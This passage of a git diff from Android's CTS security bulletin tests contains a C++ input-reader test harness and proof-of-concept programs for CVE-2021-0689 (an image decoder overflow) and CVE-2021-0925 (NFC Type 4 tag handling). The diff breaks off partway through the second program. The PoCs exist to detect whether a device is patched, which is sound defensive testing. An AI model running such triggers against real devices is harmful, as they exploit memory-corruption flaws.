+
+    void setVideoFrames(
+            std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> videoFrames) {
+        mVideoFrames = std::move(videoFrames);
+    }
+
+private:
+    Device* getDevice(int32_t deviceId) const {
+        ssize_t index = mDevices.indexOfKey(deviceId);
+        return index >= 0 ? mDevices.valueAt(index) : nullptr;
+    }
+
+    Flags<InputDeviceClass> getDeviceClasses(int32_t deviceId) const override {
+        Device* device = getDevice(deviceId);
+        return device ? device->classes : Flags<InputDeviceClass>(0);
+    }
+
+    InputDeviceIdentifier getDeviceIdentifier(int32_t deviceId) const override {
+        Device* device = getDevice(deviceId);
+        return device ? device->identifier : InputDeviceIdentifier();
+    }
+
+    int32_t getDeviceControllerNumber(int32_t) const override { return 0; }
+
+    void getConfiguration(int32_t deviceId, PropertyMap* outConfiguration) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            *outConfiguration = device->configuration;
+        }
+    }
+
+    status_t getAbsoluteAxisInfo(int32_t deviceId, int axis,
+                                 RawAbsoluteAxisInfo* outAxisInfo) const override {
+        Device* device = getDevice(deviceId);
+        if (device && device->enabled) {
+            ssize_t index = device->absoluteAxes.indexOfKey(axis);
+            if (index >= 0) {
+                *outAxisInfo = device->absoluteAxes.valueAt(index);
+                return OK;
+            }
+        }
+        outAxisInfo->clear();
+        return -1;
+    }
+
+    bool hasRelativeAxis(int32_t deviceId, int axis) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            return device->relativeAxes.indexOfKey(axis) >= 0;
+        }
+        return false;
+    }
+
+    bool hasInputProperty(int32_t, int) const override { return false; }
+
+    bool hasMscEvent(int32_t deviceId, int mscEvent) const override final {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            return mscEvent >= 0 && mscEvent <= MSC_MAX ? device->mscBitmask.test(mscEvent) : false;
+        }
+        return false;
+    }
+
+    status_t mapKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t metaState,
+                    int32_t* outKeycode, int32_t* outMetaState, uint32_t* outFlags) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            const KeyInfo* key = getKey(device, scanCode, usageCode);
+            if (key) {
+                if (outKeycode) {
+                    *outKeycode = key->keyCode;
+                }
+                if (outFlags) {
+                    *outFlags = key->flags;
+                }
+                if (outMetaState) {
+                    *outMetaState = metaState;
+                }
+                return OK;
+            }
+        }
+        return NAME_NOT_FOUND;
+    }
+
+    const KeyInfo* getKey(Device* device, int32_t scanCode, int32_t usageCode) const {
+        if (usageCode) {
+            ssize_t index = device->keysByUsageCode.indexOfKey(usageCode);
+            if (index >= 0) {
+                return &device->keysByUsageCode.valueAt(index);
+            }
+        }
+        if (scanCode) {
+            ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
+            if (index >= 0) {
+                return &device->keysByScanCode.valueAt(index);
+            }
+        }
+        return nullptr;
+    }
+
+    status_t mapAxis(int32_t, int32_t, AxisInfo*) const override { return NAME_NOT_FOUND; }
+
+    base::Result<std::pair<InputDeviceSensorType, int32_t>> mapSensor(int32_t deviceId,
+                                                                      int32_t absCode) {
+        Device* device = getDevice(deviceId);
+        if (!device) {
+            return Errorf("Sensor device not found.");
+        }
+        auto it = device->sensorsByAbsCode.find(absCode);
+        if (it == device->sensorsByAbsCode.end()) {
+            return Errorf("Sensor map not found.");
+        }
+        const SensorInfo& info = it->second;
+        return std::make_pair(info.sensorType, info.sensorDataIndex);
+    }
+
+    void setExcludedDevices(const std::vector<std::string>& devices) override {
+        mExcludedDevices = devices;
+    }
+
+    size_t getEvents(int, RawEvent* buffer, size_t bufferSize) override {
+        std::scoped_lock lock(mLock);
+
+        const size_t filledSize = std::min(mEvents.size(), bufferSize);
+        std::copy(mEvents.begin(), mEvents.begin() + filledSize, buffer);
+
+        mEvents.erase(mEvents.begin(), mEvents.begin() + filledSize);
+        mEventsCondition.notify_all();
+        return filledSize;
+    }
+
+    std::vector<TouchVideoFrame> getVideoFrames(int32_t deviceId) override {
+        auto it = mVideoFrames.find(deviceId);
+        if (it != mVideoFrames.end()) {
+            std::vector<TouchVideoFrame> frames = std::move(it->second);
+            mVideoFrames.erase(deviceId);
+            return frames;
+        }
+        return {};
+    }
+
+    int32_t getScanCodeState(int32_t deviceId, int32_t scanCode) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->scanCodeStates.indexOfKey(scanCode);
+            if (index >= 0) {
+                return device->scanCodeStates.valueAt(index);
+            }
+        }
+        return AKEY_STATE_UNKNOWN;
+    }
+
+    int32_t getKeyCodeState(int32_t deviceId, int32_t keyCode) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->keyCodeStates.indexOfKey(keyCode);
+            if (index >= 0) {
+                return device->keyCodeStates.valueAt(index);
+            }
+        }
+        return AKEY_STATE_UNKNOWN;
+    }
+
+    int32_t getSwitchState(int32_t deviceId, int32_t sw) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->switchStates.indexOfKey(sw);
+            if (index >= 0) {
+                return device->switchStates.valueAt(index);
+            }
+        }
+        return AKEY_STATE_UNKNOWN;
+    }
+
+    status_t getAbsoluteAxisValue(int32_t deviceId, int32_t axis,
+                                  int32_t* outValue) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->absoluteAxisValue.indexOfKey(axis);
+            if (index >= 0) {
+                *outValue = device->absoluteAxisValue.valueAt(index);
+                return OK;
+            }
+        }
+        *outValue = 0;
+        return -1;
+    }
+
+    // Return true if the device has non-empty key layout.
+    bool markSupportedKeyCodes(int32_t deviceId, size_t numCodes, const int32_t* keyCodes,
+                               uint8_t* outFlags) const override {
+        bool result = false;
+        Device* device = getDevice(deviceId);
+        if (device) {
+            result = device->keysByScanCode.size() > 0 || device->keysByUsageCode.size() > 0;
+            for (size_t i = 0; i < numCodes; i++) {
+                for (size_t j = 0; j < device->keysByScanCode.size(); j++) {
+                    if (keyCodes[i] == device->keysByScanCode.valueAt(j).keyCode) {
+                        outFlags[i] = 1;
+                    }
+                }
+                for (size_t j = 0; j < device->keysByUsageCode.size(); j++) {
+                    if (keyCodes[i] == device->keysByUsageCode.valueAt(j).keyCode) {
+                        outFlags[i] = 1;
+                    }
+                }
+            }
+        }
+        return result;
+    }
+
+    bool hasScanCode(int32_t deviceId, int32_t scanCode) const override {
+        Device* device = getDevice(deviceId);
+        if (device) {
+            ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
+            return index >= 0;
+        }
+        return false;
+    }
+
+    bool hasLed(int32_t deviceId, int32_t led) const override {
+        Device* device = getDevice(deviceId);
+        return device && device->leds.indexOfKey(led) >= 0;
+    }
+
+    void setLedState(int32_t deviceId, int32_t led, bool on) override {}
+
+    void getVirtualKeyDefinitions(
+            int32_t deviceId, std::vector<VirtualKeyDefinition>& outVirtualKeys) const override {
+        outVirtualKeys.clear();
+
+        Device* device = getDevice(deviceId);
+        if (device) {
+            outVirtualKeys = device->virtualKeys;
+        }
+    }
+
+    const std::shared_ptr<KeyCharacterMap> getKeyCharacterMap(int32_t) const override {
+        return nullptr;
+    }
+
+    bool setKeyboardLayoutOverlay(int32_t, std::shared_ptr<KeyCharacterMap>) override {
+        return false;
+    }
+
+    void vibrate(int32_t, const VibrationElement&) override {}
+
+    void cancelVibrate(int32_t) override {}
+
+    std::vector<int32_t> getVibratorIds(int32_t deviceId) override { return mVibrators; };
+
+    std::optional<int32_t> getBatteryCapacity(int32_t, int32_t) const override {
+        return BATTERY_CAPACITY;
+    }
+
+    std::optional<int32_t> getBatteryStatus(int32_t, int32_t) const override {
+        return BATTERY_STATUS;
+    }
+
+    const std::vector<int32_t> getRawBatteryIds(int32_t deviceId) { return {}; }
+
+    std::optional<RawBatteryInfo> getRawBatteryInfo(int32_t deviceId, int32_t batteryId) {
+        return std::nullopt;
+    }
+
+    const std::vector<int32_t> getRawLightIds(int32_t deviceId) override {
+        std::vector<int32_t> ids;
+        for (const auto& [rawId, info] : mRawLightInfos) {
+            ids.push_back(rawId);
+        }
+        return ids;
+    }
+
+    std::optional<RawLightInfo> getRawLightInfo(int32_t deviceId, int32_t lightId) override {
+        auto it = mRawLightInfos.find(lightId);
+        if (it == mRawLightInfos.end()) {
+            return std::nullopt;
+        }
+        return it->second;
+    }
+
+    void setLightBrightness(int32_t deviceId, int32_t lightId, int32_t brightness) override {
+        mLightBrightness.emplace(lightId, brightness);
+    }
+
+    void setLightIntensities(int32_t deviceId, int32_t lightId,
+                             std::unordered_map<LightColor, int32_t> intensities) override {
+        mLightIntensities.emplace(lightId, intensities);
+    };
+
+    std::optional<int32_t> getLightBrightness(int32_t deviceId, int32_t lightId) override {
+        auto lightIt = mLightBrightness.find(lightId);
+        if (lightIt == mLightBrightness.end()) {
+            return std::nullopt;
+        }
+        return lightIt->second;
+    }
+
+    std::optional<std::unordered_map<LightColor, int32_t>> getLightIntensities(
+            int32_t deviceId, int32_t lightId) override {
+        auto lightIt = mLightIntensities.find(lightId);
+        if (lightIt == mLightIntensities.end()) {
+            return std::nullopt;
+        }
+        return lightIt->second;
+    };
+
+    virtual bool isExternal(int32_t) const { return false; }
+
+    void dump(std::string&) override {}
+
+    void monitor() override {}
+
+    void requestReopenDevices() override {}
+
+    void wake() override {}
+};
+
+// --- TestInputMapper---
+
+class TestInputMapper : public InputMapper {
+    uint32_t mSources;
+    int32_t mKeyboardType;
+    int32_t mMetaState;
+    KeyedVector<int32_t, int32_t> mKeyCodeStates;
+    KeyedVector<int32_t, int32_t> mScanCodeStates;
+    KeyedVector<int32_t, int32_t> mSwitchStates;
+    std::vector<int32_t> mSupportedKeyCodes;
+
+    std::mutex mLock;
+    std::condition_variable mStateChangedCondition;
+    bool mConfigureWasCalled GUARDED_BY(mLock);
+    bool mResetWasCalled GUARDED_BY(mLock);
+    bool mProcessWasCalled GUARDED_BY(mLock);
+    RawEvent mLastEvent GUARDED_BY(mLock);
+
+    std::optional<DisplayViewport> mViewport;
+
+public:
+    TestInputMapper(InputDeviceContext& deviceContext, uint32_t sources)
+          : InputMapper(deviceContext),
+            mSources(sources),
+            mKeyboardType(AINPUT_KEYBOARD_TYPE_NONE),
+            mMetaState(0),
+            mConfigureWasCalled(false),
+            mResetWasCalled(false),
+            mProcessWasCalled(false) {}
+
+    virtual ~TestInputMapper() {}
+
+    void setKeyboardType(int32_t keyboardType) { mKeyboardType = keyboardType; }
+
+    void setMetaState(int32_t metaState) { mMetaState = metaState; }
+    void setKeyCodeState(int32_t keyCode, int32_t state) {
+        mKeyCodeStates.replaceValueFor(keyCode, state);
+    }
+
+    void setScanCodeState(int32_t scanCode, int32_t state) {
+        mScanCodeStates.replaceValueFor(scanCode, state);
+    }
+
+    void setSwitchState(int32_t switchCode, int32_t state) {
+        mSwitchStates.replaceValueFor(switchCode, state);
+    }
+
+    void addSupportedKeyCode(int32_t keyCode) { mSupportedKeyCodes.push_back(keyCode); }
+
+private:
+    uint32_t getSources() override { return mSources; }
+
+    void populateDeviceInfo(InputDeviceInfo* deviceInfo) override {
+        InputMapper::populateDeviceInfo(deviceInfo);
+
+        if (mKeyboardType != AINPUT_KEYBOARD_TYPE_NONE) {
+            deviceInfo->setKeyboardType(mKeyboardType);
+        }
+    }
+
+    void configure(nsecs_t, const InputReaderConfiguration* config, uint32_t changes) override {
+        std::scoped_lock<std::mutex> lock(mLock);
+        mConfigureWasCalled = true;
+
+        // Find the associated viewport if exist.
+        const std::optional<uint8_t> displayPort = getDeviceContext().getAssociatedDisplayPort();
+        if (displayPort && (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
+            mViewport = config->getDisplayViewportByPort(*displayPort);
+        }
+
+        mStateChangedCondition.notify_all();
+    }
+
+    void reset(nsecs_t) override {
+        std::scoped_lock<std::mutex> lock(mLock);
+        mResetWasCalled = true;
+        mStateChangedCondition.notify_all();
+    }
+
+    void process(const RawEvent* rawEvent) override {
+        std::scoped_lock<std::mutex> lock(mLock);
+        mLastEvent = *rawEvent;
+        mProcessWasCalled = true;
+        mStateChangedCondition.notify_all();
+    }
+
+    int32_t getKeyCodeState(uint32_t, int32_t keyCode) override {
+        ssize_t index = mKeyCodeStates.indexOfKey(keyCode);
+        return index >= 0 ? mKeyCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
+    }
+
+    int32_t getScanCodeState(uint32_t, int32_t scanCode) override {
+        ssize_t index = mScanCodeStates.indexOfKey(scanCode);
+        return index >= 0 ? mScanCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
+    }
+
+    int32_t getSwitchState(uint32_t, int32_t switchCode) override {
+        ssize_t index = mSwitchStates.indexOfKey(switchCode);
+        return index >= 0 ? mSwitchStates.valueAt(index) : AKEY_STATE_UNKNOWN;
+    }
+
+    // Return true if the device has non-empty key layout.
+    bool markSupportedKeyCodes(uint32_t, size_t numCodes, const int32_t* keyCodes,
+                               uint8_t* outFlags) override {
+        for (size_t i = 0; i < numCodes; i++) {
+            for (size_t j = 0; j < mSupportedKeyCodes.size(); j++) {
+                if (keyCodes[i] == mSupportedKeyCodes[j]) {
+                    outFlags[i] = 1;
+                }
+            }
+        }
+        bool result = mSupportedKeyCodes.size() > 0;
+        return result;
+    }
+
+    virtual int32_t getMetaState() { return mMetaState; }
+
+    virtual void fadePointer() {}
+
+    virtual std::optional<int32_t> getAssociatedDisplay() {
+        if (mViewport) {
+            return std::make_optional(mViewport->displayId);
+        }
+        return std::nullopt;
+    }
+};
+
+// --- InstrumentedInputReader ---
+
+class InstrumentedInputReader : public InputReader {
+    std::queue<std::shared_ptr<InputDevice>> mNextDevices;
+
+public:
+    InstrumentedInputReader(std::shared_ptr<EventHubInterface> eventHub,
+                            const sp<InputReaderPolicyInterface>& policy,
+                            const sp<InputListenerInterface>& listener)
+          : InputReader(eventHub, policy, listener), mTestContext(this) {}
+
+    virtual ~InstrumentedInputReader() {}
+
+    void pushNextDevice(std::shared_ptr<InputDevice> device) { mNextDevices.push(device); }
+
+    std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
+                                           const std::string& location = "") {
+        InputDeviceIdentifier identifier;
+        identifier.name = name;
+        identifier.location = location;
+        int32_t generation = deviceId + 1;
+        return std::make_shared<InputDevice>(&mTestContext, deviceId, generation, identifier);
+    }
+
+    // Make the protected loopOnce method accessible to tests.
+    using InputReader::loopOnce;
+
+protected:
+    virtual std::shared_ptr<InputDevice> createDeviceLocked(int32_t eventHubId,
+                                                            const InputDeviceIdentifier& identifier)
+            REQUIRES(mLock) {
+        if (!mNextDevices.empty()) {
+            std::shared_ptr<InputDevice> device(std::move(mNextDevices.front()));
+            mNextDevices.pop();
+            return device;
+        }
+        return InputReader::createDeviceLocked(eventHubId, identifier);
+    }
+
+    // --- TestInputReaderContext ---
+    class TestInputReaderContext : public ContextImpl {
+        int32_t mGlobalMetaState;
+        bool mUpdateGlobalMetaStateWasCalled;
+        int32_t mGeneration;
+
+    public:
+        TestInputReaderContext(InputReader* reader)
+              : ContextImpl(reader),
+                mGlobalMetaState(0),
+                mUpdateGlobalMetaStateWasCalled(false),
+                mGeneration(1) {}
+
+        virtual ~TestInputReaderContext() {}
+
+        void assertUpdateGlobalMetaStateWasCalled() { mUpdateGlobalMetaStateWasCalled = false; }
+
+        void setGlobalMetaState(int32_t state) { mGlobalMetaState = state; }
+
+        uint32_t getGeneration() { return mGeneration; }
+
+        void updateGlobalMetaState() override {
+            mUpdateGlobalMetaStateWasCalled = true;
+            ContextImpl::updateGlobalMetaState();
+        }
+
+        int32_t getGlobalMetaState() override {
+            return mGlobalMetaState | ContextImpl::getGlobalMetaState();
+        }
+
+        int32_t bumpGeneration() override {
+            mGeneration = ContextImpl::bumpGeneration();
+            return mGeneration;
+        }
+    } mTestContext;
+
+public:
+    TestInputReaderContext* getContext() { return &mTestContext; }
+};
+
+// --- InputMapperTest ---
+
+class InputMapperTest {
+public:
+    std::shared_ptr<TestEventHub> mTestEventHub;
+    sp<TestInputReaderPolicy> mTestPolicy;
+    sp<TestInputListener> mTestListener;
+    std::unique_ptr<InstrumentedInputReader> mReader;
+    std::shared_ptr<InputDevice> mDevice;
+
+    virtual void SetUp(Flags<InputDeviceClass> classes) {
+        mTestEventHub = std::make_unique<TestEventHub>();
+        mTestPolicy = new TestInputReaderPolicy();
+        mTestListener = new TestInputListener();
+        mReader = std::make_unique<InstrumentedInputReader>(mTestEventHub, mTestPolicy,
+                                                            mTestListener);
+        mDevice = newDevice(DEVICE_ID, DEVICE_NAME, DEVICE_LOCATION, EVENTHUB_ID, classes);
+    }
+
+    void SetUp() { SetUp(DEVICE_CLASSES); }
+
+    void TearDown() {
+        mTestListener.clear();
+        mTestPolicy.clear();
+    }
+    virtual ~InputMapperTest() {}
+
+    void addConfigurationProperty(const char* key, const char* value) {
+        mTestEventHub->addConfigurationProperty(EVENTHUB_ID, String8(key), String8(value));
+    }
+
+    void configureDevice(uint32_t changes) {
+        if (!changes || (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
+            mReader->requestRefreshConfiguration(changes);
+            mReader->loopOnce();
+        }
+        mDevice->configure(ARBITRARY_TIME, mTestPolicy->getReaderConfiguration(), changes);
+    }
+
+    std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
+                                           const std::string& location, int32_t eventHubId,
+                                           Flags<InputDeviceClass> classes) {
+        InputDeviceIdentifier identifier;
+        identifier.name = name;
+        identifier.location = location;
+        std::shared_ptr<InputDevice> device =
+                std::make_shared<InputDevice>(mReader->getContext(), deviceId, DEVICE_GENERATION,
+                                              identifier);
+        mReader->pushNextDevice(device);
+        mTestEventHub->addDevice(eventHubId, name, classes);
+        mReader->loopOnce();
+        return device;
+    }
+
+    template <class T, typename... Args>
+    T& addMapperAndConfigure(Args... args) {
+        T& mapper = mDevice->addMapper<T>(EVENTHUB_ID, args...);
+        configureDevice(0);
+        mDevice->reset(ARBITRARY_TIME);
+        mapper.reset(ARBITRARY_TIME);
+        return mapper;
+    }
+
+    void setDisplayInfoAndReconfigure(int32_t displayId, int32_t width, int32_t height,
+                                      int32_t orientation, const std::string& uniqueId,
+                                      std::optional<uint8_t> physicalPort,
+                                      ViewportType viewportType) {
+        mTestPolicy->addDisplayViewport(displayId, width, height, orientation, true /*isActive*/,
+                                        uniqueId, physicalPort, viewportType);
+        configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+    }
+
+    void clearViewports() { mTestPolicy->clearViewports(); }
+
+    void process(InputMapper& mapper, nsecs_t when, nsecs_t readTime, int32_t type, int32_t code,
+                 int32_t value) {
+        RawEvent event;
+        event.when = when;
+        event.readTime = readTime;
+        event.deviceId = mapper.getDeviceContext().getEventHubId();
+        event.type = type;
+        event.code = code;
+        event.value = value;
+        mapper.process(&event);
+        mReader->loopOnce();
+    }
+    void Process_DeactivateViewport_AbortTouches();
+};
+
+void InputMapperTest::Process_DeactivateViewport_AbortTouches() {
+    SetUp();
+    addConfigurationProperty("touch.deviceType", "touchScreen");
+    mTestPolicy->addDisplayViewport(DISPLAY_ID, DISPLAY_WIDTH, DISPLAY_HEIGHT,
+                                    DISPLAY_ORIENTATION_0, true /*isActive*/, UNIQUE_ID, NO_PORT,
+                                    ViewportType::INTERNAL);
+    std::optional<DisplayViewport> optionalDisplayViewport =
+            mTestPolicy->getDisplayViewportByUniqueId(UNIQUE_ID);
+    DisplayViewport displayViewport = *optionalDisplayViewport;
+
+    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+    mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_X, RAW_X_MIN, RAW_X_MAX, 0, 0);
+    mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_Y, RAW_Y_MIN, RAW_Y_MAX, 0, 0);
+    MultiTouchInputMapper& mapper = addMapperAndConfigure<MultiTouchInputMapper>();
+
+    // Finger down
+    int32_t x = 100, y = 100;
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
+
+    NotifyMotionArgs motionArgs;
+
+    // Deactivate display viewport
+    displayViewport.isActive = false;
+    mTestPolicy->updateViewport(displayViewport);
+    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+
+    // Finger move
+    x += 10, y += 10;
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
+
+    // Reactivate display viewport
+    displayViewport.isActive = true;
+    mTestPolicy->updateViewport(displayViewport);
+    configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
+
+    // Finger move again
+    x += 10, y += 10;
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
+    process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
+}
+
+} // namespace android
+
+int main() {
+    android::InputMapperTest inputMapperTest;
+    inputMapperTest.Process_DeactivateViewport_AbortTouches();
+    return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp
similarity index 71%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp
index 7b410b7..8a3e8d0 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/Android.bp
@@ -16,7 +16,19 @@
  */
 
 cc_test {
-    name: "CVE-2021-29368",
+    name: "CVE-2021-0689",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    shared_libs: [
+        "libbinder",
+        "libjnigraphics",
+        "libutils",
+        "libui",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/poc.cpp
new file mode 100644
index 0000000..887368e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0689/poc.cpp
@@ -0,0 +1,70 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC is written taking reference from frameworks/base/native/graphics/jni/imagedecoder.cpp
+
+#include <android/imagedecoder.h>
+#include <binder/IPCThreadState.h>
+#include <vector>
+#include "../includes/common.h"
+
+constexpr int32_t kMaxDimension = 5000;
+
+struct DecoderDeleter {
+    void operator()(AImageDecoder *decoder) const { AImageDecoder_delete(decoder); }
+};
+
+using DecoderPointer = std::unique_ptr<AImageDecoder, DecoderDeleter>;
+
+DecoderPointer makeDecoder(const uint8_t *data, size_t size) {
+    AImageDecoder *decoder = nullptr;
+    int result = AImageDecoder_createFromBuffer(data, size, &decoder);
+    if (result != ANDROID_IMAGE_DECODER_SUCCESS) {
+        return nullptr;
+    }
+    return DecoderPointer(decoder);
+}
+
+int main(int argc, char **argv) {
+    FAIL_CHECK(argc >= 2);
+    android::ProcessState::self()->startThreadPool();
+    char *filename = argv[1];
+    FILE *file = fopen(filename, "r");
+    FAIL_CHECK(file);
+    fseek(file, 0, SEEK_END);
+    size_t size = ftell(file);
+    fseek(file, 0, SEEK_SET);
+    std::vector<uint8_t> buffer(size);
+    fread((void *)buffer.data(), 1, size, file);
+    fclose(file);
+    DecoderPointer decoder = makeDecoder(buffer.data(), size);
+    FAIL_CHECK(decoder);
+    const AImageDecoderHeaderInfo *info = AImageDecoder_getHeaderInfo(decoder.get());
+    int32_t width = AImageDecoderHeaderInfo_getWidth(info);
+    int32_t height = AImageDecoderHeaderInfo_getHeight(info);
+    FAIL_CHECK(width <= kMaxDimension && height <= kMaxDimension);
+    size_t stride = AImageDecoder_getMinimumStride(decoder.get());
+    size_t pixelSize = height * stride;
+    std::vector<uint8_t> pixels(pixelSize);
+    time_t test_started = start_timer();
+    while (timer_active(test_started)) {
+        int32_t result = AImageDecoder_decodeImage(decoder.get(), pixels.data(), stride, pixelSize);
+        if (result != ANDROID_IMAGE_DECODER_SUCCESS) {
+            break;
+        }
+    }
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/Android.bp
new file mode 100644
index 0000000..eea87e7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/Android.bp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2021-0925",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        "stubs.cpp",
+        "t4t.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/fuzzers/rw/",
+        "system/nfc/src/include",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/fuzzers/inc",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+        "libchrome",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/poc.cpp
new file mode 100644
index 0000000..085f6e8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0925/poc.cpp
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* Following files are taken as reference to come up with this PoC */
+/* 1. 'system/nfc/src/fuzzers/fuzz_utils.cc'                       */
+/* 2. 'system/nfc/src/fuzzers/rw/main.cc'                          */
+
+#include <vector>
+#include "../includes/common.h"
+#include "fuzz.h"
+#include "fuzz_cmn.h"
+extern void Type4_Fuzz(uint8_t SubType, const std::vector<bytes_t> &Packets);
+
+FILE *file = nullptr;
+char *vulnPtr = nullptr;
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (testInProgress && info->si_signo == SIGSEGV) {
+        size_t pageSize = getpagesize();
+        if (pageSize) {
+            char *vulnPtrGuardPage = (char *)((size_t)vulnPtr & PAGE_MASK) + pageSize;
+            char *faultPage = (char *)((size_t)info->si_addr & PAGE_MASK);
+            if (faultPage == vulnPtrGuardPage) {
+                (*old_action.sa_sigaction)(signum, info, context);
+                return;
+            }
+        }
+    }
+    _exit(EXIT_FAILURE);
+}
+
+void exit_Handler(void) {
+    if (file) {
+        fclose(file);
+    }
+}
+
+static std::vector<bytes_t> UnpackPackets(const uint8_t *Data, size_t Size) {
+    std::vector<bytes_t> result;
+    while (Size > 0) {
+        auto s = *Data++;
+        Size--;
+
+        if (s > Size) {
+            s = Size;
+        }
+
+        if (s > 0) {
+            result.push_back(bytes_t(Data, Data + s));
+        }
+
+        Size -= s;
+        Data += s;
+    }
+
+    return result;
+}
+
+int main(int argc, char **argv) {
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+    FAIL_CHECK(argc > 1);
+
+    file = fopen(argv[1], "r");
+    FAIL_CHECK(file);
+
+    fseek(file, 0, SEEK_END);
+    size_t size = ftell(file);
+    fseek(file, 0, SEEK_SET);
+
+    std::vector<uint8_t> bufVector(size);
+    FAIL_CHECK(bufVector.data());
